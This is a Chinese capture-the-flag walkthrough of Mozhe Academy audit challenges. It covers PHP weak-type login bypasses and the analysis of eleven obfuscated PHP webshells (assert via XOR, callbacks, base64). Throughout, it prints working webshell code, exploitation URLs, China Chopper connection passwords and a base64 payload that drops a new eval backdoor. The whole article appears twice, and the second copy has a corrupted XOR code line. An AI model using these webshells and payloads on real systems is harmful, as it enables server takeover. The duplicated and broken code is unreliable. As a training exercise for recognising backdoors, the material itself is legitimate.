墨者学院审计类通关指南

一、PHP代码分析溯源

0x00 第1题

背景

某日,在某公司做IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望"墨者"能够帮他分析一下。

分析

访问http://219.153.49.228:42335/

<?php 
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]); 
?>

分析代码:

我们用echo分别输出三个变量

"$_" "$__" "$___" 这三个是变量名,我们通过编译知道它们分别是:

$_ => 1

$__ => _GET

$___ => _POST

实际上去理解“^”为异或运算符,$++;这行代码的意思是对变量名为""的变量进行自增操作,可以发现是异曲同工之妙

$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
​
("`"^"?")       01100000^00111111=01011111 —>”_”
​
(":"^"}")        00111010^01111101=01000111—>”G”
​
("%"^"`")      00100101^01100000=01000101—>”E”
​
("{"^"/")        01111011^ 00101111=01010100—>”T”

我们把变量用值替换进去得到

${_GET}[!1](${_POST}[1]);,把多余的{}去掉 [!1]也就是[0]

整理后代码如下: $_GET[0]($_POST[1]);和一句话的 $_POST[1]传参差不多了,那么$_GET[0]就是我们的函数名了

根据"b.php源码"提示去b.php目录下

用hackbar传GET和POST请求

http://219.153.49.228:42335/b.php?0=assert

1=phpinfo()

可以执行

菜刀写入http://219.153.49.228:42335/b.php?0=assert密码是1

mozheae74b8ee177abe3a37432f933ac

思考

这里有一个问题在于

http://219.153.49.228:42335/b.php?0=eval

无法显示phpinfo

这里延伸出一个问题柠檬大大的文章解释的很好

问题出在

$_POST['1']()这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

但是eval不能被可变函数 调用。

mixed eval ( string $code )

Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

0x01 第二题

背景

根据提供的源代码,分析找出认证码,审计源代码,需要找一个值,这个值的md5值在php中==题中给定值的md5值

分析

访问

下载源代码,审计

<?php
error_reporting(0);
$a1 = md5('QNKCDZO');
$a = @$_POST['pass'];
$a2 = @md5($a);
if(isset($a)){
 if ($a != 'QNKCDZO' && $a1 == $a2) {
 /**
 内容省略!
 **/
 exit();
 } else {
 echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
 }}
?>

这里有很明显的问题,密码是以MD5方式保存,只要找到一个QNKCDZO的md5值相同的密码就可以通过,或者php是弱类型语言,在使用 == 号时,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行

md5('240610708') 的结果是:0e462097431906509019562988736854
md5('QNKCDZO') 的结果是:0e830400451993494058024219903391

0e 的科学记数法开头,字符串被隐式转换为浮点数,实际上也就等效于 0,所以为0,相等。

输入240610708

KEY: mozhe454234355b0307eea24ed161701

0x02 第三题

背景

某公司雇佣你对一个登陆界面进行测试,你只能得到源码,需要审计这段源码,找出其漏洞并成功登陆

分析

访问

下载源代码,审计

<?php
error_reporting(0);
 function noother_says_correct($number)
 {
 $one = ord('1');
 $nine = ord('9');
 for ($i = 0; $i < strlen($number); $i++)
 {
 $digit = ord($number{$i});
 if ( ($digit >= $one) && ($digit <= $nine) )
 {
 return false;
 }
 }
 return $number == '54975581388';
 }
if(noother_says_correct($_POST['pass'])){
 /**
 此处省略
 **/
} else{
 echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}
?>

分析代码:

1.在for 循环中是判断输入的字符是否有存在在1和9之间的数字

2.如果不存在判断是否等于54975581388

3.等于就可以绕过

4..php弱类型考点$a == $b等于TRUE 如果类型转换后$a等于$b,php在转码时会把16进制转化为十进制,将54975581388转成16进制,0xccccccccc。

KEY: mozhe8466fa038dd9ad4c4934892d6b7

二、WebShell代码分析溯源全解析

0x00 第一题

背景

某系统环境上发现一个可疑文件,请协助运维人员分析此文件的功能。

分析

访问

下载系统源码 ,发现在cn-right.php文件中存在webshell

<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>

这里分析一下webshell代码,用GET和POST函数就构成了木马,

方法一:

http://219.153.49.228:40568/www/cn-right.php?POST=assert

GET=${fputs(fopen(base64_decode(bWFuZzAucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydtYW5nMCddKTsgPz4=))}

执行后当前目录生成mang0.php一句话木马,密码为 mang0

方法二:

客户端用菜刀,密码GET,url为http://219.153.49.228:40568/www/cn-right.php?POST=assert

mozhe3dbde397de25960e10f5d997a47

0x01 第二题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在index.php存在恶意代码

<?php 
 $POST['POST']='assert';
 $array[]=$POST;
 $array[0]['POST']($_POST['assert']);
?>

这里分析一下webshell代码:

assert,是php代码执行函数,与eval()有同样的功能,因为$array[],POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组,这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马<?php assert($_POST['assert']);?>直接用菜刀链接即可密码为assert。

mozheb1315766f73e9fe22e58b67c107

0x02 第三题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,

查看所有php后缀文件
$ag -g . --php
index.php
js/jquery1.42.min.php
includes/class-IXR-clientmulticall.php includes/class-IXR-date.php
includes/class-IXR-client.php
includes/class-IXR-base64.php

在jquery1.42.min.php存在恶意代码

D盾查杀也找到对应的文件。

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[get]);
?>

这里分析一下webshell代码:

php中“.”表示将前后单位以字符串形式拼接

数组g[1]=s, char(116)是t ,gg连起来就是assert

整个一句话为@$assert($_POST(get))

http://219.153.49.228:47270/www/js/jquery1.42.min.php 密码get

中国菜刀连接

mozhebfb0dc9d53ee0aea51d557142fe

0x03 第四题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

下载系统源码,在index.php存在恶意代码

<?php
error_reporting(0);
$e=$_REQUEST['e'];
$arr=array($_POST['POST'],);
array_filter($arr,base64_decode($e));
?>

这里分析一下webshell代码:

1、发现使用回调函数,各函数解释如下: ①、$_REQUEST[],HTTP Request 变量,默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。 ②、array_filter()回调函数,原型为:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
③base64_decode(),对 base64 编码的 data 进行解码。返回原始数据, 或者在失败时返回 FALSE。返回的数据可能是二进制的。

2、整理后,最终shell代码为

base64_decode($_REQUEST['e'])(​$_POST['POST']);

3、构造assert函数,使用$e参数传递经过base64编码后的assert字符串

http://219.153.49.228:48776/www/hack/bin.php?e=YXNzZXJ0 密码POST

YXNzZXJ0用base64解码的结果是assert

mozhe29055fb55f5c3cae9d29040f187

0x04 第五题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在Exception.php存在恶意代码

D盾扫描验证

error_reporting(0);
call_user_func('assert', $_REQUEST['assert']);

这里分析一下webshell代码:

整理后shell代码为:assert($_REQUEST['assert']);

http://http://219.153.49.228:47037/www/Exception.php密码assert

mozhed6b28482c826171d5761e39f628

0x05 第六题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在index.php存在恶意代码

D盾扫描验证

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['POST'],);
array_map(base64_decode($e), $arr);
?>

这里分析一下webshell代码:

构造参数e为经过base64加密后的assert字符串,这样传递过去的assert(),就会对arr数组中的每一个值进行作用,数组中的每一个值进行作用。

所以整理后:base64_decode($_REQUEST['e'])($_POST['POST']);

http://219.153.49.228:45692/www/Assets/upload/pic3.jpg.php?e=YXNzZXJ0 密码 POST

mozhea53e1e65c45eae8bbabfca9d30c

0x06 第七题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在random_int.php存在恶意代码

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['POST']);
uasort($arr, base64_decode($e));

这里分析一下webshell代码:

uasort:

通过base64_decode()函数解密后的函数,对$数组进行排序,通过查看arr数组进行排序,通过查看$arr数组可知,其含有$元素,这里可以知道使用可执行函数,对_REQUEST['POST']元素,这里可以知道使用可执行函数,对$arr进行排序时,可执行shell代码。所以shell代码如下:
base64_decode($_REQUEST['e'])$_REQUEST['POST'];

mozhe24bcc5751c5d95d68250bfc8771

0x07 第八题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在\fields\class-wp-rest-comment-meta-style.php存在恶意代码

D盾扫描验证

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

这里分析一下webshell代码:

preg_replace() 将 replacement 参数当作 PHP 代码,正则意思为匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样我们就可以把 $_POST['pass']运行。

http://219.153.49.228:40515//www/fields/class-wp-rest-comment-meta-style.php? e=preg_replace 密码为pass

mozhe43997bb5d7b5b3546758a4724a2

0x08 第九题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在\pomo\no.php存在恶意代码

error_reporting(0);
$e = $_REQUEST['e'];//接收e参数数据
register_shutdown_function($e, $_REQUEST['REQUEST']); //e传入的assert和Request传入内容作用

D盾扫描验证

这里分析一下webshell代码:

PHP中止的情况有三种:

  • 执行完成

  • exit/die导致的中止

  • 发生致命错误中止

等到php函数执行完成,就会调用我们传进去的php中止时执行的函数,构成 assert($_REQUEST['REQUEST']) ,一句话木马

http://219.153.49.228:41312/www/pomo/no.php?e=assert

密码:REQUEST

mozhe4694154a7d928a98d6db8a0b267

0x09 第十题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在\hack\static\css.php存在恶意代码

<?php 
error_reporting(0); 
$e = $_REQUEST['e']; 
declare(ticks=1); 
register_tick_function ($e, $_REQUEST['GET']); ?>

D盾扫描验证

这里分析一下webshell代码:

register_tick_function函数必须要和declare流程控制机制合并使用,

每执行ticks=1行php代码,就执行一次register_tick_function函数中的代码,当e接收assert时就构成了,$_request['GET']是参数,这样就构成了assert($_request['GET'])

http://219.153.49.228:40102//www/hack/static/css.php?e=assert 密码:GET

mozhe27968c88c7b957576fe9562274e

0x0a 第十一题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在mysql_conn.php存在恶意代码

<?php 
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){
 $_=@fopen('t.php', 'a');
 @fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");
 @fclose($_);
}
?>

这里分析一下webshell代码:

若get到的1不为空且1=GET.fPZ87的话执行,创建t.php并写入,写入t.php恶意代码,$GET_[2]接收到的值中的vey替换为ert,ilo替换为ass,也是时候当2=ilovey是,构成assert($_POST[1]),密码为1的一句话。

mozhef880344b9cbe7323d3ef241d16a# 墨者学院审计类通关指南

一、PHP代码分析溯源

0x00 第1题

背景

某日,在某公司做IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望"墨者"能够帮他分析一下。

分析

访问http://219.153.49.228:42335/

<?php 
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]); 
?>

分析代码:

我们用echo分别输出三个变量

"$_" "$__" "$___" 这三个是变量名,我们通过编译知道它们分别是:

$_ => 1

$__ => _GET

$___ => _POST

实际上去理解“^”为异或运算符,$++;这行代码的意思是对变量名为""的变量进行自增操作,可以发现是异曲同工之妙

$_=(""^"?").(":"^"}").("%"^"").("{"^"/");

("`"^"?") 01100000^00111111=01011111 —>”


(":"^"}") 00111010^01111101=01000111—>”G”

("%"^"`") 00100101^01100000=01000101—>”E”

("{"^"/") 01111011^ 00101111=01010100—>”T”

我们把变量用值替换进去得到

${_GET}[!1](${_POST}[1]);,把多余的{}去掉 [!1]也就是[0]

整理后代码如下: $_GET[0]($_POST[1]);和一句话的 $_POST[1]传参差不多了,那么$_GET[0]就是我们的函数名了

根据"b.php源码"提示去b.php目录下

用hackbar传GET和POST请求

http://219.153.49.228:42335/b.php?0=assert

1=phpinfo()

可以执行

菜刀写入http://219.153.49.228:42335/b.php?0=assert密码是1

mozheae74b8ee177abe3a37432f933ac

思考

这里有一个问题在于

http://219.153.49.228:42335/b.php?0=eval

无法显示phpinfo

这里延伸出一个问题柠檬大大的文章解释的很好

问题出在

$_POST['1']()这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

但是eval不能被可变函数 调用。

mixed eval ( string $code )

Note: 因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。

0x01 第二题

背景

根据提供的源代码,分析找出认证码,审计源代码,需要找一个值,这个值的md5值在php中==题中给定值的md5值

分析

访问

下载源代码,审计

<?php
error_reporting(0);
$a1 = md5('QNKCDZO');
$a = @$_POST['pass'];
$a2 = @md5($a);
if(isset($a)){
 if ($a != 'QNKCDZO' && $a1 == $a2) {
 /**
 内容省略!
 **/
 exit();
 } else {
 echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
 }}
?>

这里有很明显的问题,密码是以MD5方式保存,只要找到一个QNKCDZO的md5值相同的密码就可以通过,或者php是弱类型语言,在使用 == 号时,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行

md5('240610708') 的结果是:0e462097431906509019562988736854
md5('QNKCDZO') 的结果是:0e830400451993494058024219903391

0e 的科学记数法开头,字符串被隐式转换为浮点数,实际上也就等效于 0,所以为0,相等。

输入240610708

KEY: mozhe454234355b0307eea24ed161701

0x02 第三题

背景

某公司雇佣你对一个登陆界面进行测试,你只能得到源码,需要审计这段源码,找出其漏洞并成功登陆

分析

访问

下载源代码,审计

<?php
error_reporting(0);
 function noother_says_correct($number)
 {
 $one = ord('1');
 $nine = ord('9');
 for ($i = 0; $i < strlen($number); $i++)
 {
 $digit = ord($number{$i});
 if ( ($digit >= $one) && ($digit <= $nine) )
 {
 return false;
 }
 }
 return $number == '54975581388';
 }
if(noother_says_correct($_POST['pass'])){
 /**
 此处省略
 **/
} else{
 echo '<script>alert(\'认证错误\');window.location.href=\'/index.html\';</script>';
}
?>

分析代码:

1.在for 循环中是判断输入的字符是否有存在在1和9之间的数字

2.如果不存在判断是否等于54975581388

3.等于就可以绕过

4..php弱类型考点$a == $b等于TRUE 如果类型转换后$a等于$b,php在转码时会把16进制转化为十进制,将54975581388转成16进制,0xccccccccc。

KEY: mozhe8466fa038dd9ad4c4934892d6b7

二、WebShell代码分析溯源全解析

0x00 第一题

背景

某系统环境上发现一个可疑文件,请协助运维人员分析此文件的功能。

分析

访问

下载系统源码 ,发现在cn-right.php文件中存在webshell

<?php
error_reporting(0);
$_GET['POST']($_POST['GET']);
?>

这里分析一下webshell代码,用GET和POST函数就构成了木马,

方法一:

http://219.153.49.228:40568/www/cn-right.php?POST=assert

GET=${fputs(fopen(base64_decode(bWFuZzAucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWydtYW5nMCddKTsgPz4=))}

执行后当前目录生成mang0.php一句话木马,密码为 mang0

方法二:

客户端用菜刀,密码GET,url为http://219.153.49.228:40568/www/cn-right.php?POST=assert

mozhe3dbde397de25960e10f5d997a47

0x01 第二题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在index.php存在恶意代码

<?php 
 $POST['POST']='assert';
 $array[]=$POST;
 $array[0]['POST']($_POST['assert']);
?>

这里分析一下webshell代码:

assert,是php代码执行函数,与eval()有同样的功能,因为$array[],POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组,这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马<?php assert($_POST['assert']);?>直接用菜刀链接即可密码为assert。

mozheb1315766f73e9fe22e58b67c107

0x02 第三题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,

查看所有php后缀文件
$ag -g . --php
index.php
js/jquery1.42.min.php
includes/class-IXR-clientmulticall.php includes/class-IXR-date.php
includes/class-IXR-client.php
includes/class-IXR-base64.php

在jquery1.42.min.php存在恶意代码

D盾查杀也找到对应的文件。

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[get]);
?>

这里分析一下webshell代码:

php中“.”表示将前后单位以字符串形式拼接

数组g[1]=s, char(116)是t ,gg连起来就是assert

整个一句话为@$assert($_POST(get))

http://219.153.49.228:47270/www/js/jquery1.42.min.php 密码get

中国菜刀连接

mozhebfb0dc9d53ee0aea51d557142fe

0x03 第四题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

下载系统源码,在index.php存在恶意代码

<?php
error_reporting(0);
$e=$_REQUEST['e'];
$arr=array($_POST['POST'],);
array_filter($arr,base64_decode($e));
?>

这里分析一下webshell代码:

1、发现使用回调函数,各函数解释如下: ①、$_REQUEST[],HTTP Request 变量,默认情况下包含了 $_GET,$_POST 和 $_COOKIE 的数组。 ②、array_filter()回调函数,原型为:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
③base64_decode(),对 base64 编码的 data 进行解码。返回原始数据, 或者在失败时返回 FALSE。返回的数据可能是二进制的。

2、整理后,最终shell代码为

base64_decode($_REQUEST['e'])(​$_POST['POST']);

3、构造assert函数,使用$e参数传递经过base64编码后的assert字符串

http://219.153.49.228:48776/www/hack/bin.php?e=YXNzZXJ0 密码POST

YXNzZXJ0用base64解码的结果是assert

mozhe29055fb55f5c3cae9d29040f187

0x04 第五题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在Exception.php存在恶意代码

D盾扫描验证

error_reporting(0);
call_user_func('assert', $_REQUEST['assert']);

这里分析一下webshell代码:

整理后shell代码为:assert($_REQUEST['assert']);

http://http://219.153.49.228:47037/www/Exception.php密码assert

mozhed6b28482c826171d5761e39f628

0x05 第六题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在index.php存在恶意代码

D盾扫描验证

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['POST'],);
array_map(base64_decode($e), $arr);
?>

这里分析一下webshell代码:

构造参数e为经过base64加密后的assert字符串,这样传递过去的assert(),就会对arr数组中的每一个值进行作用,数组中的每一个值进行作用。

所以整理后:base64_decode($_REQUEST['e'])($_POST['POST']);

http://219.153.49.228:45692/www/Assets/upload/pic3.jpg.php?e=YXNzZXJ0 密码 POST

mozhea53e1e65c45eae8bbabfca9d30c

0x06 第七题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在random_int.php存在恶意代码

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['POST']);
uasort($arr, base64_decode($e));

这里分析一下webshell代码:

uasort:

通过base64_decode()函数解密后的函数,对$数组进行排序,通过查看arr数组进行排序,通过查看$arr数组可知,其含有$元素,这里可以知道使用可执行函数,对_REQUEST['POST']元素,这里可以知道使用可执行函数,对$arr进行排序时,可执行shell代码。所以shell代码如下:
base64_decode($_REQUEST['e'])$_REQUEST['POST'];

mozhe24bcc5751c5d95d68250bfc8771

0x07 第八题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在\fields\class-wp-rest-comment-meta-style.php存在恶意代码

D盾扫描验证

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

这里分析一下webshell代码:

preg_replace() 将 replacement 参数当作 PHP 代码,正则意思为匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样我们就可以把 $_POST['pass']运行。

http://219.153.49.228:40515//www/fields/class-wp-rest-comment-meta-style.php? e=preg_replace 密码为pass

mozhe43997bb5d7b5b3546758a4724a2

0x08 第九题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在\pomo\no.php存在恶意代码

error_reporting(0);
$e = $_REQUEST['e'];//接收e参数数据
register_shutdown_function($e, $_REQUEST['REQUEST']); //e传入的assert和Request传入内容作用

D盾扫描验证

这里分析一下webshell代码:

PHP中止的情况有三种:

  • 执行完成

  • exit/die导致的中止

  • 发生致命错误中止

等到php函数执行完成,就会调用我们传进去的php中止时执行的函数,构成 assert($_REQUEST['REQUEST']) ,一句话木马

http://219.153.49.228:41312/www/pomo/no.php?e=assert

密码:REQUEST

mozhe4694154a7d928a98d6db8a0b267

0x09 第十题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在\hack\static\css.php存在恶意代码

<?php 
error_reporting(0); 
$e = $_REQUEST['e']; 
declare(ticks=1); 
register_tick_function ($e, $_REQUEST['GET']); ?>

D盾扫描验证

这里分析一下webshell代码:

register_tick_function函数必须要和declare流程控制机制合并使用,

每执行ticks=1行php代码,就执行一次register_tick_function函数中的代码,当e接收assert时就构成了,$_request['GET']是参数,这样就构成了assert($_request['GET'])

http://219.153.49.228:40102//www/hack/static/css.php?e=assert 密码:GET

mozhe27968c88c7b957576fe9562274e

0x0a 第十一题

背景

黑客利用漏洞攻击了单位的业务系统,上传和篡改了文件,找到黑客的踪迹。

分析

访问

下载系统源码,在mysql_conn.php存在恶意代码

<?php 
if(!empty($_GET[1]) && $_GET[1]=='GET.fPZ87'){
 $_=@fopen('t.php', 'a');
 @fwrite($_,"<?php \$_=str_replace('ilo','ass',str_replace('vey','ert',\$_GET[2]));@\$_(\$_POST[1]);?>");
 @fclose($_);
}
?>

这里分析一下webshell代码:

若get到的1不为空且1=GET.fPZ87的话执行,创建t.php并写入,写入t.php恶意代码,$GET_[2]接收到的值中的vey替换为ert,ilo替换为ass,也是时候当2=ilovey是,构成assert($_POST[1]),密码为1的一句话。

mozhef880344b9cbe7323d3ef241d16a

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖